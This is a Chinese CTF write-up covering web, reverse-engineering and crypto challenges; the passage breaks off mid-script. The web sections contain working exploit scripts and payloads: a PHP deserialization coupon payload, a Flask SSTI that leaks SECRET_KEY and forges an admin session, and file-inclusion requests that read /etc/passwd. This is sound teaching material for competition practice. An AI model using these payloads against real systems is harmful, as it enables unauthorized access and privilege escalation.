御网杯#

Web#

WEB-Snake_Game#

题目截图#

解题思路#

打开首页后，页面只有一个 Snake Game，前端逻辑全写在页面内联 JavaScript 里。关键点在这个函数：

1
function checkWin(s) {
2
    let formData = new FormData();
3
    formData.append('score', s);
4
    fetch('index.php', { method: 'POST', body: formData })
5
    .then(r => r.json())
6
    .then(data => {
7
        if(data.status === 'success') {
8
            msgEl.innerText = data.flag;
9
        }
10
    });
11
}

可以看到：

游戏结束后，前端只是把 score 提交给 index.php
服务端返回 JSON
前端直接把返回的 flag 显示出来

这说明核心漏洞是：后端只校验提交的分数，没有校验分数是否真的通过游戏产生

利用方式

直接伪造一个 score=300 的请求即可，然后拿到flag。

WEB-PHP_Payment#

题目截图#

解题思路#

先审附件源码，关键点有两处。

在 apply_coupon.php 中，服务端会对用户提交的 coupon 参数先做 base64_decode()，随后直接执行 unserialize()：

1
$decoded = base64_decode($couponData);
2
$promo = @unserialize($decoded);

这意味着这里存在用户可控的 PHP 反序列化。

在 models.php 中定义了 PromoManager 类，它的析构函数会把对象属性 promo_credit 直接累加到 session 余额：

1
function __destruct() {
2
    if(isset($this->promo_credit) && is_numeric($this->promo_credit)) {
3
        $_SESSION['balance'] += intval($this->promo_credit);
4
    }
5
}

也就是说，只要我们伪造一个 PromoManager 对象，并把 promo_credit 设成足够大的数字，在反序列化结束、对象销毁时就能给自己“充值”。

再看 buy.php，其中 flag 商品价格是 99999 金币：

初始余额只有 20，因此正常无法购买，但通过优惠券反序列化可以直接把余额加到足够大。

利用链非常简单：

访问首页，拿到一个新的 PHPSESSID
构造 PromoManager 对象，令 promo_credit=100000
将该对象序列化后再 Base64 编码，作为 coupon 提交给 /api/apply_coupon.php
同一 session 下请求 /buy.php，传 item=flag
余额足够后成功购买，返回 flag

构造 Payload

PromoManager 有两个公开属性：

promo_credit
promo_code

因此可构造如下序列化字符串：

1
O:12:"PromoManager":2:{s:12:"promo_credit";i:100000;s:10:"promo_code";s:3:"VIP";}

对应 Base64 为：

1
TzoxMjoiUHJvbW9NYW5hZ2VyIjoyOntzOjEyOiJwcm9tb19jcmVkaXQiO2k6MTAwMDAwO3M6MTA6InByb21vX2NvZGUiO3M6MzoiVklQIjt9

用下面的脚本

1
from __future__ import print_function
2

3
import base64
4
import re
5
import sys
6

7
try:
8
    from urllib.request import HTTPCookieProcessor, Request, build_opener
9
    from urllib.parse import urlencode
10
    from http.cookiejar import CookieJar
11
except ImportError:
12
    from urllib2 import HTTPCookieProcessor, Request, build_opener
13
    from urllib import urlencode
14
    from cookielib import CookieJar
15

16
TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://120.27.146.76:13228"
17

18
def build_coupon(credit=100000, code="VIP"):
19
    payload = (
20
        'O:12:"PromoManager":2:{{'
21
        's:12:"promo_credit";i:{credit};'
22
        's:10:"promo_code";s:{code_len}:"{code}";'
23
        "}}"
24
    ).format(
25
        credit=credit,
26
        code_len=len(code),
27
        code=code,
28
    )
29
    return base64.b64encode(payload.encode()).decode()
30

31
def extract_flags(text):
32
    return re.findall(r"flag**\{**[^}]+**\}**", text)
33

34
def decode_text(data):
35
    if hasattr(data, "decode"):
36
        return data.decode("utf-8", "ignore")
37
    return data
38

39
def http_get(opener, url):
40
    req = Request(url)
41
    return decode_text(opener.open(req, timeout=10).read())
42

43
def http_post(opener, url, data):
44
    body = urlencode(data)
45
    if hasattr(body, "encode"):
46
        body = body.encode("utf-8")
47
    req = Request(url, data=body)
48
    return decode_text(opener.open(req, timeout=10).read())
49

50
def main():
51
    jar = CookieJar()
52
    opener = build_opener(HTTPCookieProcessor(jar))
53

54
    http_get(opener, "{}/".format(TARGET))
55

56
    coupon = build_coupon()
57
    resp = http_post(
58
        opener,
59
        "{}/api/apply_coupon.php".format(TARGET),
60
        {"coupon": coupon},
61
    )
62
    print("[*] apply_coupon response:", resp)
63

64
    resp = http_post(
65
        opener,
66
        "{}/buy.php".format(TARGET),
67
        {"item": "flag"},
68
    )
69
    print("[*] buy response:", resp)
70

71
    flags = extract_flags(resp)
72
    if not flags:
73
        print("[-] No flag found.")
74
        return
75

76
    print("[+] Found flags:")
77
    for idx, flag in enumerate(flags, 1):
78
        print("  {}. {}".format(idx, flag))
79

80
    print("[+] Likely real flag: {}".format(flags[0]))
81

82
if __name__ == "__main__":
83
    main()

运行拿到flag

WEB-TaxSystem_SSTI#

题目截图#

解题思路#

在 init_db.py 可以看到系统初始化了一个账号：

1
admin / 123456

在 app.py 的 preview() 逻辑里，只有当 state == ‘AUDIT_PENDING’ 时，才会走“官方审计报告”模板渲染分支。这个分支把 custom_footer 直接拼进 HTML，再交给 app.py (line 127) 的 render_template_string() 渲染，这就形成了标准 SSTI。

黑名单在 app.py ，虽然过滤了 __、引号、request、session 等关键字，但没有过滤 config，所以 {{config}} 可以直接用。

此外，app.py 的 /admin/vault 只校验：

1
if session.get('role') != 'tax_inspector':

也就是说，只要能伪造 Flask session，就能越权进后台。

要注意一点：config.py 里的默认 SECRET_KEY 不是远端实际值，所以不能直接拿源码默认值伪造 cookie，必须先通过 SSTI 泄露线上真实密钥。

接下来我们去利用

登录系统，账号密码为：

1
admin / 123456

通过 /api/import 修改自己的 profile：

1
{
2
  "profile_id": 1,
3
  "data": {
4
    "state": "AUDIT_PENDING",
5
    "custom_footer": "{{config}}"
6
  }
7
}

访问 /preview/1，页面会回显 Flask 配置，拿到远端真实密钥：

1
SECRET_KEY = secret_tax_key_2026_xoxo

用这个 SECRET_KEY 伪造 Flask session，把会话内容改成：

1
{"role": "tax_inspector", "user_id": 1}

带着伪造后的 session cookie 访问：

1
/admin/vault

可以用下面这个脚本

1
import re
2
import html
3
import requests
4
from flask import Flask
5
from flask.sessions import SecureCookieSessionInterface
6

7

8
BASE = "http://120.27.146.76:13583"
9
USERNAME = "admin"
10
PASSWORD = "123456"
11
PROFILE_ID = 1
12

13

14
def get_secret_key():
15
    s = requests.Session()
16

17
    r = s.post(
18
        BASE + "/login",
19
        data={"username": USERNAME, "password": PASSWORD},
20
        allow_redirects=True,
21
        timeout=10,
22
    )
23
    if r.status_code != 200:
24
        raise RuntimeError(f"login failed: {r.status_code}")
25

26
    r = s.post(
27
        BASE + "/api/import",
28
        json={
29
            "profile_id": PROFILE_ID,
30
            "data": {
31
                "state": "AUDIT_PENDING",
32
                "custom_footer": "{{config}}",
33
            },
34
        },
35
        timeout=10,
36
    )
37
    if r.status_code != 200:
38
        raise RuntimeError(f"import failed: {r.status_code} {r.text}")
39

40
    r = s.get(BASE + f"/preview/{PROFILE_ID}", timeout=10)
41
    text = html.unescape(r.text)
42

43
    m = re.search(r"SECRET_KEY': '([^']+)'", text)
44
    if not m:
45
        raise RuntimeError("SECRET_KEY not found in preview response")
46

47
    return m.group(1)
48

49

50
def forge_session(secret_key):
51
    app = Flask(__name__)
52
    app.secret_key = secret_key
53
    serializer = SecureCookieSessionInterface().get_signing_serializer(app)
54
    return serializer.dumps({"role": "tax_inspector", "user_id": 1})
55

56

57
def get_flag(cookie):
58
    s = requests.Session()
59
    s.cookies.set("session", cookie)
60

61
    r = s.get(BASE + "/admin/vault", timeout=10)
62
    if r.status_code != 200:
63
        raise RuntimeError(f"vault request failed: {r.status_code}")
64

65
    m = re.search(r'<div class="flag-box">\s*(.*?)\s*</div>', r.text, re.S)
66
    if not m:
67
        raise RuntimeError("flag not found in response")
68

69
    return m.group(1).strip()
70

71

72
def main():
73
    secret_key = get_secret_key()
74
    print(f"[+] SECRET_KEY: {secret_key}")
75

76
    cookie = forge_session(secret_key)
77
    print(f"[+] forged session: {cookie}")
78

79
    flag = get_flag(cookie)
80
    print(f"[+] flag: {flag}")
81

82

83
if __name__ == "__main__":
84
    main()

WEB-Enterprise_OA#

题目截图#

解题思路#

访问首页可以看到导航链接使用了 module 参数：

1
/?module=public_notices.php
2
/?module=about.php
3
/?module=contact.php

说明页面内容很可能是通过 include 动态加载的，因此优先测试文件包含。

先尝试普通目录穿越：

1
/?module=../../etc/passwd

返回报错中可以看到，服务端实际尝试包含的是：

1
include(etc/passwd)

说明 \.\./ 被过滤掉了，继续读取首页源码：

1
/?module=php://filter/convert.base64-encode/resource=/var/www/html/index.php

解码后关键代码如下：

1
<?php
2
$module = isset($_GET['module']) ? $_GET['module'] : 'public_notices.php';
3
$module = str_replace('../', '', $module);
4
?>
5
...
6
<?php include($module); ?>

问题就在这里：开发者只替换了字符串 \.\./，但没有限制绝对路径。因此虽然相对路径穿越被“抹掉”了，绝对路径仍然可以直接包含系统文件。

验证任意文件读取

请求：

1
/?module=/etc/passwd

成功回显系统账户内容，证明绝对路径包含可用。

读取 flag

结合常见 CTF 文件位置，尝试直接读取：

1
/?module=/flag.txt

成功得到 flag。

Re#

rerere#

题目截图#

解题思路#

ida打开附件，主校验函数在sub_1400014FB

跳转过来

加密逻辑在sub_140001480

SBOX 可逆，直接对每个位置求逆即可：

1
input[i] = INV_SBOX[ EXPECTED[i] ] ^ XORKEY[i % 8]

关键数据

解题脚本

1
#!/usr/bin/env python3
2
expected = bytes.fromhex(
3
    "a3 5b 4c 0a 0e 98 84 da"
4
    "14 e7 0b 91 53 49 4f b6"
5
    "a9 ac 0b 49 14 97 4f d5"
6
    "b1 96 75 f6 3b a7 84 c5"
7
    "a9 c9 06 36 c6 6c".replace(" ", "")
8
)
9

10
xorkey = bytes.fromhex("b9 cd ce 30 b8 61 4e aa".replace(" ", ""))
11

12
sbox = bytes.fromhex("""
13
c2 23 97 49 83 f6 d3 a7 eb bf 78 c3 29 56 d2 1a
14
13 bc 21 6a 37 8e 5f 0c b4 46 de e4 6c a2 66 30
15
0f a4 bb 8c 09 4b 3d 32 42 55 2d 4f f9 77 1b 74
16
1f 71 7b 9d 73 c4 ab d0 f3 c1 88 07 dc ce ef c0
17
72 4a 27 81 9b ee c7 28 26 5a 94 54 70 d1 e9 c8
18
98 36 91 41 b8 3a 79 0a 08 e5 af 80 24 ae 00 19
19
cc 7a f7 51 7d 69 ec 03 65 25 1c 01 f5 e6 bd d9
20
59 fe 92 b0 10 6f f0 e3 9f ad 84 f4 a5 33 35 48
21
53 b1 e0 d8 05 38 18 68 a9 14 c6 3f 61 8a 31 3b
22
ba 2b 4e e2 57 9a f1 ea 64 7e a0 93 b6 da 60 2e
23
1d 5b 82 34 6d fc cf 7f e7 96 67 43 06 44 c9 4c
24
40 db fd 4d b5 ed 39 2c b3 17 9e cd fa 6b ca 87
25
8f 9c 89 0e 63 45 86 aa 5e 95 16 c5 d5 2f a1 f8
26
99 ff 3c 0d 3e d4 04 76 d7 47 20 8d df 5c 7c a3
27
1e 8b 15 b9 a8 cb 22 a6 52 d6 fb 5d dd b2 6e e8
28
f2 e1 2a 58 62 12 11 50 75 b7 ac 90 0b 85 02 be
29
""".replace("\n", "").replace(" ", ""))
30

31
assert len(set(sbox)) == 256, "SBOX 不是完整置换"
32

33
inv_sbox = [0] * 256
34
for i, v in enumerate(sbox):
35
    inv_sbox[v] = i
36

37
flag = bytes(inv_sbox[e] ^ xorkey[i % 8] for i, e in enumerate(expected))
38

39
for i, e in enumerate(expected):
40
    assert sbox[flag[i] ^ xorkey[i % 8]] == e
41

42
print(flag.decode())

flag{1470e2b8be617231cef8d657f4a1cba2}

字节码迷踪#

题目截图#

解题思路#

py逆向，用die查看py版本是3.12

直接用在线网站反编译一下https://pylingual.io/

得到py源码

1
# Decompiled with PyLingual (https://pylingual.io)
2
# Internal filename: 'temp_challenge.py'
3
# Bytecode version: 3.12.0rc2 (3531)
4
# Source timestamp: 2026-04-05 13:07:22 UTC (1775394442)
5

6
import base64
7
def decrypt_flag(encoded_data, key):
8
    decoded = base64.b64decode(encoded_data)
9
    return ''.join((chr(b ^ key) for b in decoded))
10
def main():
11
    encoded_flag = 'CAIPCRVeABgUC1wCX0NXHh1YQx4cBFZDBV1bC0MCWw9fHF5WXV8MBx4T'
12
    xor_key = 110
13
    user_input = input('请输入flag: ').strip()
14
    correct_flag = decrypt_flag(encoded_flag, xor_key)
15
    if user_input == correct_flag:
16
        print('正确！')
17
    else:
18
        print('错误！')
19
if __name__ == '__main__':
20
    main()

加解密对称(异或),直接拿密文跑一遍即可:

解题脚本

1
import base64
2

3
encoded_flag = 'CAIPCRVeABgUC1wCX0NXHh1YQx4cBFZDBV1bC0MCWw9fHF5WXV8MBx4T'
4
xor_key = 110
5

6
decoded = base64.b64decode(encoded_flag)
7
flag = ''.join(chr(b ^ xor_key) for b in decoded)
8
print(flag)

flag{0nvze2l1-9ps6-prj8-k35e-l5a1r0831bip}

ChaCha20#

题目截图#

解题思路#

jadx打开后，直接跳转到mainactivity

验证按钮回调走这里

NativeBridge 注册了一堆 native 方法，但 MainActivity 只调了 c$String$，其它 ab/cd/dc 都是噪音。

libmyapplication\.so 没导出 Java\_…\_c 这种符号，是用 RegisterNatives 动态注册的。\.data\.rel\.ro 起头三个 12 字节的 JNINativeMethod 结构体：

解出三项：

name	signature	fnPtr
`a`	`$\[B$\[B`	`0x250b0`
`b`	`$\[B$\[B`	`0x251f0`
`c`	`$Ljava/lang/String;$Z`	`0x25330`

0x25330是目标函数

c 做 4 件事：

GetStringUTFChars 取出用户输入；
把输入字节当明文喂给「加密+hex」函数 sub\_25740，得到 out\_hex（小写十六进制字符串）；
把 out\_hex 一字节一字节和全局 g\_target（std::vector\<uint8\_t\>，地址 0x5a16c）比较；
完全相等返回 JNI\_TRUE，否则 JNI\_FALSE。

sub_276f0看反汇编是个mov $0x8, %eax; ret`的「常量 8」，但它其实是一个 stub —— 真实的`g_target.size()`是把`vector`的`_end - _begin`拿出来再除以 1。比较循环每轮按`0x40`\-byte 块前进（外层 `25803: cmp$ 0x40, %eax`），所以一轮匹配 64 字节（密文是 50 字符，刚好够用一轮）

c 的语义就是：hex$ChaCha20\(input$\) == \&\#34;d097c3f6d279df23af24ad35e9e08793831c8e2a22a1b2968b\&\#34;。

加密+hex 包装函数 `sub_25740`

key和nonce

取 key / nonce 的字节排布

内部一系列 call 27160（每次读一个 32-bit 小端 word），把 \.rodata 字节按 little-endian 拼成 state\[4\.\.11\]（key）和 state\[13\.\.15\]（nonce），state\[12\] = counter。这正好是 RFC 7539 ChaCha20 的状态布局。

hex字母表

sub_27530把每个密文字节b拆成两位：

ChaCha20 block 函数sub_26cc0

sub\_25740 在每轮里调一次 0x26cc0 生成 64 字节 keystream。这就是标准 ChaCha20 block：

sub_271a0就是 ChaCha20 的 quarter-round（add / xor / rotl 16/12/8/7）。10 次 double-round = 20 round。

目标密文：来自 `.init_array` 在运行时填充的全局 vector

sub_24be0是真正的填充逻辑：

解题脚本

1
#!/usr/bin/env python3
2

3
KEY = bytes.fromhex(
4
    "149263a16f2d89cbf0375b1ca94e78d3"
5
    "226017ee9abc4d0853e1762a8dc4903f"
6
)
7
NONCE = bytes.fromhex("44332211abcdef668899aa55")
8
CIPHERTEXT = bytes.fromhex(
9
    "d097c3f6d279df23af24ad35e9e08793831c8e2a22a1b2968b"
10
)
11
COUNTER = 1  # IETF ChaCha20 默认起始 counter
12

13
def rotl32(v, n):
14
    return ((v << n) & 0xFFFFFFFF) | (v >> (32 - n))
15

16
def quarter_round(s, a, b, c, d):
17
    s[a] = (s[a] + s[b]) & 0xFFFFFFFF; s[d] ^= s[a]; s[d] = rotl32(s[d], 16)
18
    s[c] = (s[c] + s[d]) & 0xFFFFFFFF; s[b] ^= s[c]; s[b] = rotl32(s[b], 12)
19
    s[a] = (s[a] + s[b]) & 0xFFFFFFFF; s[d] ^= s[a]; s[d] = rotl32(s[d], 8)
20
    s[c] = (s[c] + s[d]) & 0xFFFFFFFF; s[b] ^= s[c]; s[b] = rotl32(s[b], 7)
21

22
def u32le(b):
23
    return int.from_bytes(b, "little")
24

25
def chacha20_keystream(key, nonce, length, counter=1):
26
    assert len(key) == 32 and len(nonce) == 12
27
    out = bytearray()
28
    bc = counter
29
    consts = b"expand 32-byte k"
30
    while len(out) < length:
31
        state = (
32
            [u32le(consts[i:i + 4]) for i in range(0, 16, 4)]
33
            + [u32le(key[i:i + 4]) for i in range(0, 32, 4)]
34
            + [bc]
35
            + [u32le(nonce[i:i + 4]) for i in range(0, 12, 4)]
36
        )
37
        w = state[:]
38
        for _ in range(10):  # 20 rounds = 10 double-rounds
39
            quarter_round(w, 0, 4, 8, 12)
40
            quarter_round(w, 1, 5, 9, 13)
41
            quarter_round(w, 2, 6, 10, 14)
42
            quarter_round(w, 3, 7, 11, 15)
43
            quarter_round(w, 0, 5, 10, 15)
44
            quarter_round(w, 1, 6, 11, 12)
45
            quarter_round(w, 2, 7, 8, 13)
46
            quarter_round(w, 3, 4, 9, 14)
47
        for i, word in enumerate(w):
48
            out.extend(((word + state[i]) & 0xFFFFFFFF).to_bytes(4, "little"))
49
        bc = (bc + 1) & 0xFFFFFFFF
50
    return bytes(out[:length])
51

52
def chacha20_xor(key, nonce, data, counter=1):
53
    ks = chacha20_keystream(key, nonce, len(data), counter)
54
    return bytes(a ^ b for a, b in zip(data, ks))
55

56
def main():
57
    print(f"[+] key      : {KEY.hex()}")
58
    print(f"[+] nonce    : {NONCE.hex()}")
59
    print(f"[+] cipher   : {CIPHERTEXT.hex()}")
60
    print(f"[+] counter={COUNTER}")
61
    flag = chacha20_xor(KEY, NONCE, CIPHERTEXT, counter=COUNTER)
62
    try:
63
        print(f"[+] FLAG     : {flag.decode()}")
64
    except UnicodeDecodeError:
65
        print(f"[!] non-utf8 plaintext: {flag!r}")
66

67
if __name__ == "__main__":
68
    main()

flag{2023326077889096380}

DES加密验证#

题目截图#

解题思路#

主 Activity 热加载

com\.cr\.crackme2\.MainActivity\.onCreate 调用了 b,关键步骤:

Native 库:

1
public static native boolean verifyFlag(String str);
2
static { System.loadLibrary("crackme2"); }

释放出的 wide Activity

assets/classes3\.dex 中的 com\.cr\.test\.wide 是真正承担 UI 校验的类:

1
private boolean callNativeMethod(String str) {
2
    Class<?> clazz = Class.forName("com.cr.crackme2.MainActivity");
3
    Method method = clazz.getMethod("verifyFlag", String.class);
4
    return (Boolean) method.invoke(null, str);
5
}

干扰类:com\.example\.demo\.\{MathUtils, LibraryBook, ShoppingCart, User, MainActivity, MainActivity2\} —— 都是与校验无关的样板类,用来扩大 jadx 输出迷惑分析人员。

去ida里面分析so文件

函数注册

1
// JNI_OnLoad → register_native_methods
2
RegisterNatives(env, FindClass("com/cr/crackme2/MainActivity"),
3
                {"verifyFlag", "(Ljava/lang/String;)Z", &verifyFlag}, 1);

verifyFlag** 反编译(关键)**

1
char verifyFlag(JNIEnv *env, jclass cls, jstring jstr) {
2
    const char *pcVar1 = env->GetStringUTFChars(jstr, NULL);
3
    int len_in        = strlen(pcVar1);
4

5
    size_t padded_len = 0;
6
    uchar *padded     = pkcs7_pad(pcVar1, len_in, &padded_len);   // FUN_00034490
7
    uchar *enc_buf    = malloc(padded_len);
8
    des_ecb_encrypt(padded, padded_len, (uchar*)"12345678", enc_buf);  // !!! 干扰
9

10
    std::string hex;
11
    bytesToHex(&hex, padded);                                      // 真正比较的源
12
    int got = std::string::data(&hex);
13

14
    char ok = 0;
15
    for (int i = 0; i < 1; i++) {
16
        if (std::string_eq(&DAT_00068060 + i*0xc, &hex)) {         // 与全局 EncryptedFlag 比较
17
            ok = 1; break;
18
        }
19
    }
20
    return ok;
21
}

注意几个反直觉的点:

DES 结果没被使用 —— `enc_buf` 仅 `free` 掉,从未参与比较。
`bytesToHex` 接受的是 PKCS#7 填充后的明文,不是密文。
比较使用 std::string::operator==(FUN\_00034560),即逐字节相等。
全局对象 DAT\_00068060(EncryptedFlag 类型)是 std::string,内容在构造函数里被静态初始化。

PKCS#7 填充函数`FUN_00034490`

1
void *pkcs7_pad(const void *src, int len, size_t *out_len) {
2
    int pad = 8 - len % 8;            // 即使整除也会再补 8 字节
3
    *out_len = len + pad;
4
    void *p = malloc(*out_len);
5
    memcpy(p, src, len);
6
    for (int i = len; i < *out_len; i++) ((char*)p)[i] = (char)pad;
7
    return p;
8
}

标准 PKCS#7,补到 8 字节倍数。

`EncryptedFlag` 全局对象的初始化

在 \.init\_array 调度的构造函数 FUN\_00033e40:

1
void __cxx_global_var_init() {
2
    std::string::string(&DAT_00068060,
3
        "666c61677b623532376532363231313331313334656332323235316366626361"
4
        "373565386339663561653466343133373138373166643535393131393237663636613162347d0202");
5
    __cxa_atexit(EncryptedFlag::~EncryptedFlag, ...);
6
}

解题脚本

1
#!/usr/bin/env python3
2
# -*- coding: utf-8 -*-
3

4
CMP_TARGET_HEX = (
5
    "666c61677b623532376532363231313331313334656332323235316366626361"
6
    "373565386339663561653466343133373138373166643535393131393237663636613162347d0202"
7
)
8

9
def pkcs7_pad(data: bytes, block: int = 8) -> bytes:
10
    pad_len = block - (len(data) % block)
11
    return data + bytes([pad_len]) * pad_len
12

13
def pkcs7_unpad(data: bytes) -> bytes:
14
    pad_len = data[-1]
15
    if pad_len < 1 or pad_len > 8:
16
        raise ValueError(f"非法的 PKCS#7 填充长度: {pad_len}")
17
    if data[-pad_len:] != bytes([pad_len]) * pad_len:
18
        raise ValueError("PKCS#7 填充内容不一致")
19
    return data[:-pad_len]
20

21
def recover_flag() -> str:
22
    raw = bytes.fromhex(CMP_TARGET_HEX)
23
    return pkcs7_unpad(raw).decode("ascii")
24

25
def verify(flag: str) -> bool:
26

27
    padded_hex = pkcs7_pad(flag.encode("utf-8"), 8).hex()
28
    return padded_hex == CMP_TARGET_HEX
29

30
if __name__ == "__main__":
31
    flag = recover_flag()
32
    print(f"[+] 还原 flag: {flag}")
33
    print(f"[+] 长度    : {len(flag)}")
34

35
    ok = verify(flag)
36
    print(f"[+] 模拟校验: {'PASS' if ok else 'FAIL'}")
37
    assert ok, "回填校验失败,请检查 CMP_TARGET_HEX"

flag{b527e2621131134ec22251cfbca75e8c9f5ae4f41371871fd55911927f66a1b4}

Crypto#

BabyRSA#

题目截图#

解题思路#

题目给了两个附件

task.py

1
from Crypto.Util.number import bytes_to_long, getPrime
2
from secret import flag
3

4
m = bytes_to_long(flag)
5
e = 3
6

7
p = getPrime(512)
8
q = getPrime(512)
9
n = p * q
10

11
c = pow(m, e, n)
12

13
print(f"n = {n}")
14
print(f"e = {e}")
15
print(f"c = {c}")

out.text

1
n = 112236684276598445953470958979974248139305658317743482421936811887828282366740495598766025283574975379354653410041294383732249721913289160553784366226963636561141148428299310897822558962407745549801741467690656825961511511191360890527802201275378106451269606406534901848399667333669874060639983305991244441419
2
e = 3
3
c = 2217344750798591625447833487696320861775115646060744565481810923840358354823011100363343264521780315972663215185875986580406759972170037422918646653524839131172834345312234369524761802337273644307475982202699180835279895013740317857205387940896435849998551522519951199597669

经典 RSA 小指数（e = 3）题型。先看看 n 和 c 的位数关系：

值	比特长度
`n`	1024
`c`	909

也就是 c \< n。这暗示 m^3 在没有取模的情况下就已经小于 n，于是

直接对 c 开三次方就能拿到 m，无需分解 n。

解题脚本

1
import gmpy2
2
from Crypto.Util.number import long_to_bytes
3

4
n = 112236684276598445953470958979974248139305658317743482421936811887828282366740495598766025283574975379354653410041294383732249721913289160553784366226963636561141148428299310897822558962407745549801741467690656825961511511191360890527802201275378106451269606406534901848399667333669874060639983305991244441419
5
e = 3
6
c = 2217344750798591625447833487696320861775115646060744565481810923840358354823011100363343264521780315972663215185875986580406759972170037422918646653524839131172834345312234369524761802337273644307475982202699180835279895013740317857205387940896435849998551522519951199597669
7

8
m, exact = gmpy2.iroot(c, e)
9
assert exact
10
print(long_to_bytes(int(m)).decode())

flag{769cc0209669698952823747f21eb10e}

ScatterRSA#

题目截图#

解题思路#

题目给了两个附件

task.py

1
from secret import flag
2
from Crypto.Util.number import *
3
import random
4

5
m = bytes_to_long(flag)
6
e = 3
7

8
print(f"e = {e}")
9

10
for i in range(3):
11
    p = getPrime(512)
12
    q = getPrime(512)
13
    n = p * q
14
    a = random.getrandbits(128) | (1 << 127)
15
    b = random.getrandbits(256) | (1 << 255)
16
    c = pow(a * m + b, e, n)
17

18
    print(f"n{i+1} = {n}")
19
    print(f"a{i+1} = {a}")
20
    print(f"b{i+1} = {b}")
21
    print(f"c{i+1} = {c}")

out.text

1
e = 3
2
n1 = 134590028715846226751903719587861090472772080921099504036178613989523328571021119450984313988905557385036821505121612368860436253713267192159612607745301358472400758433053304358101099945515440169672493726615122471822947908806960237079424527450364377187388434878044214423874958715687632702618242260038201552961
3
a1 = 173235201602700035769143714622479214858
4
b1 = 58616053309986169433995951615552358657183395855412447208282770965760612937595
5
c1 = 50192984704229516422576705848426706185707023557654942997226592852562126143797118081125527050565529571702518296053642057549607538952767595537352818598436177372629946093076195084953301667499579328461288560942915342433209991739202980657987347584757491195480319156057361829134996133204059551472598891366688783755
6
n2 = 68196420818362667184273231820367250019665598198220107894027697404250798750179650739212752171893537136631632644245299647403521159317636479179387396036378651369427323164026037204640004005081098772718308292781228113356944341374614054386589378286349095152732830327900238600877850386212764491160551279660914970501
7
a2 = 235763128007574771186749199470667788696
8
b2 = 82833393375329622580640447653813478693484654663680708964473557677310067110872
9
c2 = 58727033167047203506164797837999819283982869287436076252773072774355826490167620639330797956244757203726547611149611642979362714607329797512143580714003751905301065313982278186988038708909021000691905664629331025167676669052317049958574849948837597306860613961557323523558290710860835719858942854534226001532
10
n3 = 104197894722251549417361866562671346718448272653499933412399440512957241054274214931999347021968663121866250705242698152904168891226692027345376090411001289684534871464563352348782346283820734447304134789063563965860082130364230372312070163983650187312362722689902212270815366758596540699197732479604574605717
11
a3 = 289837185860108823269362666161877095653
12
b3 = 88038264202304767250178171651729306984925900158278305985019519489525502096874
13
c3 = 12441437714234741776087648075441633972630237216692770981303759863634569477393643678959437151894987980323367988780311101132662707086178418962311399292280866817688865303206505050428252909551141504556842671029262184318022978671849627397763537173137629868777942717009356259616195047064075877128354789683093509959

对脚本进行分析

同一明文 m，用 e=3 在三个不同模数 n\_i 下被加密；

每次先做仿射变换 `a_i*m + b_i` 再立方 —— 即所谓线性 padding；

a\_i $\~128 bit$、b\_i $\~256 bit$ 都已公开（只是混淆，不是真正的随机化）。

构造同根多项式

每个密文给出一个以 m 为根的多项式：

$f_i(x) = (a_i x + b_i)^3 - c_i \equiv 0 \pmod{n_i}$

化为首一

在 Z/n\_i Z 上把 f\_i 除以 a\_i^3，得到首一三次多项式：

$\hat f_i(x) = x^3 + 3 b_i a_i^{-1} x^2 + 3 b_i^2 a_i^{-2} x + (b_i^3 - c_i) a_i^{-3} \pmod{n_i}$

CRT 合并

对系数逐位 CRT 到模 N = n1 n2 n3，得到首一多项式 F$x$，仍以 m 为根（mod N）。

Coppersmith small root

m 大小 ~256 bit，N 大小 ~3072 bit，X = 2^300 已是宽松界。用 Howgrave-Graham 格 dim = 4 足够：

1
行 0..2: N * x^i        (i = 0, 1, 2)
2
行 3   : F(x)
3
列 j 上整体乘 X^j

LLL 后取最短行，按列除回 X^j 得到整系数多项式 g$x$；它在整数上以 m 为根。

求整数根

g$x$ 度数 3，用 sympy 求实根（其中一个是大整数），即得 m，再 long\_to\_bytes 即可。

解题脚本

1
from Crypto.Util.number import long_to_bytes
2
from fractions import Fraction
3

4
try:
5
    from gmpy2 import mpq as Q, mpz as Z
6
except ImportError:  # pragma: no cover
7
    Q = Fraction
8
    Z = int
9

10
import sympy
11

12
# --------------------------- exact-rational LLL -----------------------------
13
def lll(B, delta=Q(3, 4)):
14
    n = len(B)
15
    B = [[Z(x) for x in row] for row in B]
16

17
    def qdot(u, v):
18
        s = Q(0)
19
        for a, b in zip(u, v):
20
            s += a * b
21
        return s
22

23
    Bs = [None] * n
24
    mu = [[Q(0)] * n for _ in range(n)]
25

26
    def gso():
27
        for i in range(n):
28
            Bs[i] = [Q(x) for x in B[i]]
29
            for j in range(i):
30
                mu[i][j] = qdot([Q(x) for x in B[i]], Bs[j]) / qdot(Bs[j], Bs[j])
31
                Bs[i] = [a - mu[i][j] * b for a, b in zip(Bs[i], Bs[j])]
32

33
    gso()
34
    k = 1
35
    while k < n:
36
        changed = False
37
        for j in range(k - 1, -1, -1):
38
            if abs(mu[k][j]) > Q(1, 2):
39
                m_kj = mu[k][j]
40
                q = int(m_kj + Q(1, 2)) if m_kj >= 0 else -int(-m_kj + Q(1, 2))
41
                if q != 0:
42
                    B[k] = [a - q * b for a, b in zip(B[k], B[j])]
43
                    changed = True
44
        if changed:
45
            gso()
46
        if qdot(Bs[k], Bs[k]) >= (delta - mu[k][k - 1] ** 2) * qdot(Bs[k - 1], Bs[k - 1]):
47
            k += 1
48
        else:
49
            B[k], B[k - 1] = B[k - 1], B[k]
50
            gso()
51
            k = max(k - 1, 1)
52
    return [[int(x) for x in row] for row in B]
53

54
# ------------------------------ challenge data ------------------------------
55
e = 3
56
n1 = 134590028715846226751903719587861090472772080921099504036178613989523328571021119450984313988905557385036821505121612368860436253713267192159612607745301358472400758433053304358101099945515440169672493726615122471822947908806960237079424527450364377187388434878044214423874958715687632702618242260038201552961
57
a1 = 173235201602700035769143714622479214858
58
b1 = 58616053309986169433995951615552358657183395855412447208282770965760612937595
59
c1 = 50192984704229516422576705848426706185707023557654942997226592852562126143797118081125527050565529571702518296053642057549607538952767595537352818598436177372629946093076195084953301667499579328461288560942915342433209991739202980657987347584757491195480319156057361829134996133204059551472598891366688783755
60

61
n2 = 68196420818362667184273231820367250019665598198220107894027697404250798750179650739212752171893537136631632644245299647403521159317636479179387396036378651369427323164026037204640004005081098772718308292781228113356944341374614054386589378286349095152732830327900238600877850386212764491160551279660914970501
62
a2 = 235763128007574771186749199470667788696
63
b2 = 82833393375329622580640447653813478693484654663680708964473557677310067110872
64
